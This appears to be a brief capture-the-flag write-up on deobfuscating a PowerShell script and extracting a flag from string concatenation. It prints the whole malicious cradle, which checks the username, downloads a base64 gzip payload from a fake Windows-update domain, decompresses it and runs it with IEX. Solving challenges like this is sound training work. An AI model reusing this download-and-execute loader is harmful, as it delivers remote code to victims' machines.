We get a powershell script and we need to deobfuscate it.
if([System.Security.Principal.WindowsIdentity]::GetCurrent().Name -ne 'secret_HQ\Arth'){exit};$w = New-Object net.webclient;$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;$d = $w.DownloadString('http://windowsliveupdater.com/updates/33' + '96f3bf5a605cc4' + '1bd0d6e229148' + '2a5/2_34122.gzip.b64');$s = New-Object IO.MemoryStream(,[Convert]::FromBase64String($d));$f = 'H' + 'T' + 'B' + '{p0w3rs' + 'h3ll' + '_Cr4d' + 'l3s_c4n_g3t' + '_th' + '3_j0b_d' + '0n3}';IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();It is plain to see the variable $f holds the flag in this case.
$f = 'H' + 'T' + 'B' + '{p0w3rs' + 'h3ll' + '_Cr4d' + 'l3s_c4n_g3t' + '_th' + '3_j0b_d' + '0n3}'Concatanating the strings gets us the flag.